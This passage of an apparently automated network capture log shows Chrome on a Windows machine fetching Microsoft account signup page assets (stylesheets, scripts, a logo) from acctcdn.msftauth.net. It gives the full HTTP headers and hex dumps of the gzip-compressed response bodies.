39 66 2a 73 33 67 4f 4f 7a 52 76 76 33 4a 52 6b 61 51 63 47 33 59 64 54 69 47 4d 4f 76 41 38 31 57 48 6c 54 67 61 34 Data Ascii: Set-Cookie: OParams=11O.Dkj9Ewp39vp4pZvLe9L61ztiqcZGQD6ulG09Q882oc!NBQXx82wbwujn4t2SEBAUTvD4jSESbHPZ!sFRdMgvJHQwGFam!CIv6a0o1TQye1uTNY9bcEcMx!ONtV019cIruzz8e2GB1T2f0iyedCVDjrGSEDzYIRkCmdu4VTdvCYFT!MExnlFCyL6qFxe849fs3gOOzRvv3JRkaQcG3YdTiGMOvA81WHlTga4
2024-02-23 10:49:45 UTC	421	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 76 25 32 42 72 5a 37 69 75 72 68 30 25 32 46 32 57 62 50 62 43 36 56 4b 5a 77 53 42 59 65 73 70 6e 31 5a 55 79 79 62 77 55 74 69 58 72 38 56 4c 70 7a 65 6b 56 4c 37 72 25 32 42 69 4b 37 73 37 6f 7a 4b 5a 42 63 73 64 44 4b 72 30 6a 64 71 4b 5a 38 75 69 50 58 51 6e 6d 44 53 71 49 41 5a 65 61 56 45 50 79 46 5a 57 66 43 35 6c 4d 54 31 46 57 52 4a 65 59 6e 62 53 78 55 36 4b 51 41 42 48 72 68 4a 39 45 30 43 66 41 30 31 65 74 74 4d 50 37 6a 62 37 7a 44 62 79 70 58 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=v%2BrZ7iurh0%2F2WbPbC6VKZwSBYespn1ZUyybwUtiXr8VLpzekVL7r%2BiK7s7ozKZBcsdDKr0jdqKZ8uiPXQnmDSqIAZeaVEPyFZWfC5lMT1FWRJeYnbSxU6KQABHrhJ9E0CfA01ettMP7jb7zDbypX"}],"group":"cf-nel","m
2024-02-23 10:49:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49799	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:49 UTC	610	OUT	GET /converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:49 UTC	794	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:49 GMT Content-Type: text/css Content-Length: 17755 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Thu, 22 Feb 2024 05:05:30 GMT ETag: 0x8DC3363E4961400 x-ms-request-id: 10ac565a-e01e-001d-5b53-651982000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104949Z-7dcu1f0aqx5996ccsqe1a3b61400000000cg0000000046n3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:49 UTC	15590	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 69 73 db 46 d2 f0 77 ff 0a ac 5c ae 58 59 12 e1 2d 4a aa a4 d6 87 12 eb 59 1f 2a 4b d9 ec 56 de 94 0b 22 21 11 6b 10 60 01 a0 65 85 0f ff fb db 73 5f 3d 00 28 c9 89 9f aa 44 b1 44 ce f4 f4 5c 3d 3d 3d 33 7d 7c f7 ed df 82 17 f9 ea b6 48 ae 17 55 f0 f4 c5 7e f0 26 99 15 79 99 5f 55 90 5e ac f2 22 aa 92 3c 0b 83 67 69 1a 50 a0 32 28 e2 32 2e 3e c5 f3 30 f8 f6 bb ef be fd db a3 6e fb ff 82 f3 8b 67 ef 2f 82 77 3f 06 17 af 4e df bf 0c ce e0 db 7f 82 b7 ef 2e 4e 5f 9c 04 ad b1 3c 7a 74 b1 48 ca e0 2a 49 e3 00 fe 5e 46 65 3c 0f f2 2c c8 8b 20 c9 66 bc d5 71 19 2c e1 77 91 44 69 70 55 e4 cb a0 5a c4 c1 aa c8 ff 1b cf a0 0f 69 52 56 50 e8 32 4e f3 9b e0 29 a0 2b e6 c1 59 54 54 b7 c1 e9 d9 7e 18 5c 00 6c 0e dd 4d 32 28 3d 93 e3 Data Ascii: }isFw\XY-JYKV"!k`es_=(DD\===3}\|HU~&y_U^"<giP2(2.>0ng/w?N.N_<ztHI^Fe<, fq,wDipUZiRVP2N)+YTT~\lM2(=
2024-02-23 10:49:49 UTC	2165	IN	Data Raw: 73 56 f4 9f 8b 25 ec 53 f4 e3 c5 3a bb 26 a8 5f 47 3c ef 7d 14 7d 22 58 4f cb 8f 39 f0 de e0 2c af 58 7e b5 a0 7f 63 e0 31 37 d1 3c 26 2d 94 77 df c1 7f a2 57 71 c2 10 a8 c4 ff 59 c4 d9 b5 4a 8f d2 eb 75 16 fc 94 57 8b 64 46 7a 55 92 a9 ba 8e d3 3c 38 81 cd a4 8c 8c b2 af 12 d2 d3 5b 33 f1 6d 7c 13 5c 44 49 f0 7a 6d d6 7e b6 88 ae cb 33 13 96 c2 59 8d 4c 82 e7 11 f0 26 92 98 67 d7 c0 58 a3 4c a5 fc 2b 78 0e 29 e4 d3 6d 94 c1 3c 06 24 26 22 7c 7d 11 2d 61 fc a3 e0 0d 8c c0 9e 4e 35 4c f0 fb 7d d1 9d 65 fb 1d 2c bd ba d9 df 7c 25 b3 ff d7 8c df 7d c6 c9 cb 22 dd 12 dd b3 b3 be fe f5 ef 62 fd 87 03 e7 71 93 27 69 0f a0 23 4c a9 45 67 39 43 60 39 86 fe 58 78 40 71 d8 86 d9 e1 70 32 d4 6f 6a 69 ab 44 e2 5f 2c ee 2f 82 6f 45 f0 75 77 3d 3d 8d 70 c2 c3 21 23 43 Data Ascii: sV%S:&_G<}}"XO9,X~c17<&-wWqYJuWdFzU<8[3m\|\DIzm~3YL&gXL+x)m<$&"\|}-aN5L}e,\|%}"bq'i#LEg9C`9Xx@qp2ojiD_,/oEuw==p!#C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49798	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:49 UTC	590	OUT	GET /jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:49 UTC	807	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:49 GMT Content-Type: application/javascript Content-Length: 5564 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Fri, 23 Feb 2024 01:26:13 GMT ETag: 0x8DC340E6CC702D5 x-ms-request-id: e57fc536-c01e-0023-0d0d-669a8e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104949Z-cgra6bmswt2pr5sxnu3k2tgq0800000004tg00000000264q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:49 UTC	5564	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 cd 3c 6b 8f db 38 92 df fd 2b da c2 c2 90 10 c5 70 67 80 fb 60 b5 62 64 33 b3 97 e0 66 a6 f7 36 99 bd 3b 18 46 a0 b6 e9 b6 26 32 e9 a5 e8 ee 34 da fa ef 57 c5 87 44 52 92 fb e5 bb 64 06 88 5b 14 45 56 15 eb cd 22 d7 7b ba 14 39 a3 67 5f b2 d5 ea 97 1b 42 c5 af 79 29 08 25 3c 24 b1 88 69 74 4f 46 23 32 f6 5f ce da 4d 21 f6 9e 62 ef b3 9c 96 22 a3 4b c2 d6 67 1f 3e ff f6 eb 2f 05 d9 42 47 39 8e 10 d9 72 23 bf f3 1e c3 80 d1 e0 15 8e 51 ad 6b 98 ae 89 b8 e4 9f 88 f8 3b 67 bb f2 92 ea 81 4a 05 5a cc a3 fb 7c 0d df 5d fd 49 96 22 48 53 71 b7 c3 29 45 74 ff 65 cd f8 2f 30 f2 7f 90 3b 00 cb 8c 17 02 36 f0 22 bc c9 f8 59 99 4e e2 3c 25 63 02 43 96 49 79 91 8f 0b 42 af c5 26 29 5f bd 8a ee b1 07 4b f3 79 b9 48 f8 8c cd f9 62 4e 17 a9 Data Ascii: <k8+pg`bd3f6;F&24WDRd[EV"{9g_By)%<$itOF#2_M!b"Kg>/BG9r#Qk;gJZ\|]I"HSq)Ete/0;6"YN<%cCIyB&)_KyHbN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49797	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:49 UTC	594	OUT	GET /knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:49 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:49 GMT Content-Type: application/javascript Content-Length: 28582 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Thu, 22 Feb 2024 19:51:35 GMT ETag: 0x8DC33DFAD3939E5 x-ms-request-id: e65cba79-101e-00e6-2fe2-6599c0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104949Z-k77bqcsr0x0qp1xn2ggr8twq20000000010g0000000032h0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:49 UTC	15576	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 cc bd 69 73 db 48 96 36 fa dd 11 fe 0f 20 5e 87 0c 94 52 90 54 d5 33 d3 0d 1a e6 95 25 d9 56 95 2c b9 25 b9 aa ab 69 b5 03 1b 17 13 5c 44 90 5a 2c f2 bf df f3 9c cc 04 12 20 e4 aa 9e 77 e6 c6 75 57 8b 40 22 f7 e5 e4 d9 cf ee 0f ad 9d 3f ff cf ba bc 3a b8 b8 b2 ce df 5a 57 ef 4f 2e 8e ac 8f f4 f6 bb 75 76 7e 75 72 78 6c fd e9 5a 9e 3f 7b fe ec 6a 30 cc ad de 30 4b 2d fa 8d c2 3c 4d ac e9 c4 9a ce ad e1 24 9e ce 67 d3 79 b8 48 73 6b 4c 7f e7 c3 30 b3 7a f3 e9 d8 5a 0c 52 6b 36 9f 7e 4d e3 45 6e 65 c3 7c 41 85 a2 34 9b de 59 0e 55 37 4f ac 8f e1 7c f1 60 9d 7c 74 3d eb 8a f2 4e e7 c3 fe 70 42 a5 e3 e9 ec 81 9e 07 0b 6b 32 5d 0c e3 d4 0a 27 09 d7 96 d1 cb 24 4f ad e5 24 49 e7 d6 dd 60 18 0f ac 0f c3 78 3e cd a7 bd 85 35 4f e3 74 Data Ascii: isH6 ^RT3%V,%i\DZ, wuW@"?:ZWO.uv~urxlZ?{j00K-<M$gyHskL0zZRk6~MEne\|A4YU7O\|`\|t=NpBk2]'$O$I`x>5Ot
2024-02-23 10:49:49 UTC	13006	IN	Data Raw: 71 43 38 ba 65 69 4a ea 76 64 2b ca e6 a7 fa 0d ba b8 5c e4 b6 29 ef ad ce a4 2d a5 61 80 2b 6b 88 a6 f7 f0 64 c3 41 86 05 21 ca f3 30 19 4e 8b 14 46 27 56 ab 4c 73 eb 54 08 3f 39 d4 3a 75 43 f3 d8 e7 55 9a 09 3a ad ab 55 1f 56 67 ad 88 21 1a ca 25 84 16 0f 6f 96 29 8e 15 2b 32 38 95 e0 15 a5 1f 53 06 a5 69 45 01 04 ad 62 ab d8 50 da 19 d9 22 55 f0 b6 82 5b b2 16 ed c0 fb b5 58 81 96 ba 38 8c a9 0a 9e 3f 6b 3e b6 91 11 c5 59 a1 94 5a 63 99 6a c8 f3 3f 79 da 55 78 29 1c 9b cd 68 da 9d 3f 04 03 78 38 09 b5 eb 03 f6 22 a5 55 4f a5 a6 65 91 41 9b 7e 53 d7 78 60 d8 ca 1b 89 41 2c 8c 1a 69 f7 4a 1f ab 44 46 b2 ea c0 9f 1d 53 0c f0 43 17 28 ca 24 0d 90 c5 d6 df c0 0b 01 68 d1 ef ec 91 5e bf 30 af 5f 36 af 92 9e 68 bf ec a0 d2 71 69 dc 28 c6 42 15 a3 ba 6d c0 0e Data Ascii: qC8eiJvd+\)-a+kdA!0NF'VLsT?9:uCU:UVg!%o)+28SiEbP"U[X8?k>YZcj?yUx)h?x8"UOeA~Sx`A,iJDFSC($h^0_6hqi(Bm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49801	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:49 UTC	628	OUT	GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:49 UTC	798	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:49 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Wed, 21 Feb 2024 05:01:22 GMT ETag: 0x8DC329A25DBA6AE x-ms-request-id: 9bfd733e-a01e-0035-139c-64d0a0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104949Z-d8dhkymv597rh6cyymrp7dg84800000000rg000000005fw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:49 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49800	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:49 UTC	617	OUT	GET /lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:49 UTC	807	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:49 GMT Content-Type: application/javascript Content-Length: 7203 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Fri, 23 Feb 2024 01:26:15 GMT ETag: 0x8DC340E6DD7120B x-ms-request-id: 3a91bcdf-c01e-0067-3c03-66e597000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104949Z-adt0qhumpd0evdw74n34xa1fuc00000000ag0000000022ha x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:49 UTC	7203	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 5c cd 72 e3 48 72 be fb 29 b0 b4 23 d4 e3 e8 51 f3 ff a7 b7 a5 b5 44 49 14 5b 24 c5 11 29 f5 cf ee c6 44 11 2c 91 18 81 28 4e 01 10 87 dd 31 11 be f8 21 7c f6 c1 b1 07 df fc 06 fd 26 7e 12 67 16 40 22 13 12 a0 c1 c4 ee a5 9b 02 b2 aa b2 be fc fb b2 00 f2 0f f7 a1 67 07 8e f2 5e 7d f7 55 cb 85 e3 07 52 8f c4 4a fa 6b 61 cb 57 a5 7f e9 2a ef de 59 94 be 7b 1d 7f 3a f4 97 42 cb f9 24 d0 8e b7 f0 8f be 96 a4 d6 4a fb a5 b7 5f 4b 5a fe 1c 3a 70 af f4 b6 34 5d 3a be e5 78 f7 4a af 04 4e 6e c1 9f bb db 87 a5 d7 25 b9 12 8e 7b 93 c8 9f 78 96 b9 64 89 f9 5c 4b df a7 f2 20 be 5e 2a 4f 52 71 cb 5c b1 bc 70 35 93 3a 2d 2c 7c 7f a3 f4 9c cb c7 17 53 b2 8e f7 28 5c 67 7e 8e 6b 5f 18 65 41 fa dc 03 0c ac 60 29 d3 3a 79 e6 62 b4 29 cb 57 Data Ascii: \rHr)#QDI[$)D,(N1!\|&~g@"g^}URJkaWY{:B$J_KZ:p4]:xJNn%{xd\K ^ORq\p5:-,\|S(\g~k_eA`):yb)W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49796	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:49 UTC	604	OUT	GET /lightweightsignuppackage_COE03vXZErAq7-ed7h5ZAg2.js?v=1 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:49 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:49 GMT Content-Type: application/javascript Content-Length: 52796 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Thu, 22 Feb 2024 02:36:29 GMT ETag: 0x8DC334F12F3CF75 x-ms-request-id: 52ac1f22-801e-00f7-1d45-6602e0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104949Z-vcdxxybyy52pz50xh707q0pm1g00000000d0000000002z54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:49 UTC	15576	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec 7d 79 7f db b6 b2 e8 ff fe 14 32 eb a3 92 15 a4 48 f2 92 44 0a ad eb 25 69 dc 6c 6e 9c 34 6d 5d 35 8f 16 29 89 35 45 aa 24 e5 a5 96 ee 67 7f 33 03 80 04 37 d9 c9 69 ef b9 ef f7 7b 3d 27 16 09 80 58 06 83 d9 30 18 8c 17 fe 28 76 03 bf f6 dc 1f 85 b7 f3 58 77 58 cc 7c 66 19 77 57 56 58 0b cc f3 61 3f ba 76 e3 d1 54 f7 5b 71 f0 3a b8 76 c2 23 2b 72 74 c3 b8 1b c1 af 36 9a 4e a2 3f 23 4b eb b9 63 dd 5f 78 9e 69 3a cb 25 7f 88 8d bb d0 89 17 a1 5f c3 f7 55 60 9e 5a a3 4b 6b e2 9c 1d 1c 5b b1 85 0d 19 fd 8b d0 b1 2e fb b2 a6 f9 b5 5d 56 91 55 51 d1 5b e7 fa c0 b7 df 79 f6 e9 b5 0d d5 59 99 ea 72 75 55 54 01 5f be f3 bd 5b dd c9 7e eb fa 0f f9 d6 f5 cb be 0d 83 60 ac 7e 5d af af 07 c7 eb 60 e2 fa 27 7e 4c 40 c1 ac 4d d3 19 38 bd Data Ascii: }y2HD%iln4m]5)5E$g37i{='X0(vXwX\|fwWVXa?vT[q:v#+rt6N?#Kc_xi:%_U`ZKk[.]VUQ[yYruUT_[~`~]`'~L@M8
2024-02-23 10:49:49 UTC	16384	IN	Data Raw: 0d 3a 6d b9 3c 4c b4 fd 33 77 79 e3 dd 12 7e 50 0e af 08 54 dc ce 76 7b 0f 15 dc 3b 8d d2 5e b8 8e 67 bf 17 d7 cc 03 dd e3 35 74 da 9d 27 40 f0 e8 e5 39 c6 be 15 26 b1 17 74 0d b1 52 6c 7b 37 53 ec 39 5a aa a3 34 bf fb e4 b1 b6 5a ab 0d 45 a4 07 a7 30 45 9d 77 2e 9f 41 7d 9e 0b 78 a2 06 2d 28 19 79 c2 59 12 96 a8 37 db 1c 92 a4 54 2b 70 24 2f 97 04 8a b8 3b 65 27 30 ec 5d fd bd 6a 58 56 ca ca a9 60 d2 e1 ad bf f9 e5 49 d9 60 b9 49 68 60 ad ef f2 63 37 b3 f9 22 46 c7 5a 10 e8 d2 40 72 28 13 19 b8 3f 70 4f 91 56 7a 13 e3 11 5e c4 48 47 8b be f8 ab 5c 24 5d 79 b2 53 8d 44 5b 03 34 99 a0 ff 35 c8 71 5c ec 05 f1 2f 9c 5c e8 6d 06 ff 33 30 d2 02 5a c1 bf 69 d3 7f ea 2b 3d c3 2a a6 d2 dd dd 5d 26 fe a5 df 8c e9 3f f5 95 7f 13 f2 6f b6 bb 8c fe 9f 7e d0 6d e3 ff Data Ascii: :m<L3wy~PTv{;^g5t'@9&tRl{7S9Z4ZE0Ew.A}x-(yY7T+p$/;e'0]jXV`I`Ih`c7"FZ@r(?pOVz^HG\$]ySD[45q\/\m30Zi+=*]&?o~m
2024-02-23 10:49:49 UTC	16384	IN	Data Raw: d0 7f b7 fd 5d 01 5a 62 ce 8c db 6a f6 24 ab 18 d3 4e 97 b8 6a fd ef 2b ef d5 1f fb af 7e bd b6 ca 5b fb cd 3c c1 10 df 71 fa 31 48 c7 a7 3e 8e bd d9 bc 71 d2 6d 06 a8 da 82 83 1f 44 17 64 cf 82 a1 db 0f 3d 28 80 43 45 45 ec 56 eb 74 b9 2c 4c fb 91 83 6e 22 7c 72 e1 2c 44 45 82 c3 aa c8 5a 2a 75 f2 1b 59 9e 74 f1 52 27 08 87 fe a3 bb db a5 cf ef bd 2b 00 43 1a 55 74 5f be a4 52 62 fb 44 37 2e af 71 45 0f ae 99 7c 49 e5 12 bf d5 ca de 9c 9f 30 68 eb de 6a e1 19 64 78 f0 d2 d0 83 eb 82 c0 2e cb 85 af 91 f6 53 ad 80 f7 3d 04 e0 4f 3b 6e 6a 3e ac 63 d2 3a 07 e1 48 99 81 c3 b1 17 8e f8 19 f8 f2 65 f6 1a 41 92 e9 54 7a 0d 3b ca 1a 88 be 3a 0d db bd 07 99 41 6f c9 76 e6 e8 c6 87 e8 42 8f 1c e9 9f f0 99 a2 47 f6 43 52 94 61 50 d8 b9 87 27 50 ee 9f 82 bf 99 95 dc Data Ascii: ]Zbj$Nj+~[<q1H>qmDd=(CEEVt,Ln"\|r,DEZ*uYtR'+CUt_RbD7.qE\|I0hjdx.S=O;nj>c:HeATz;:AovBGCRaP'P
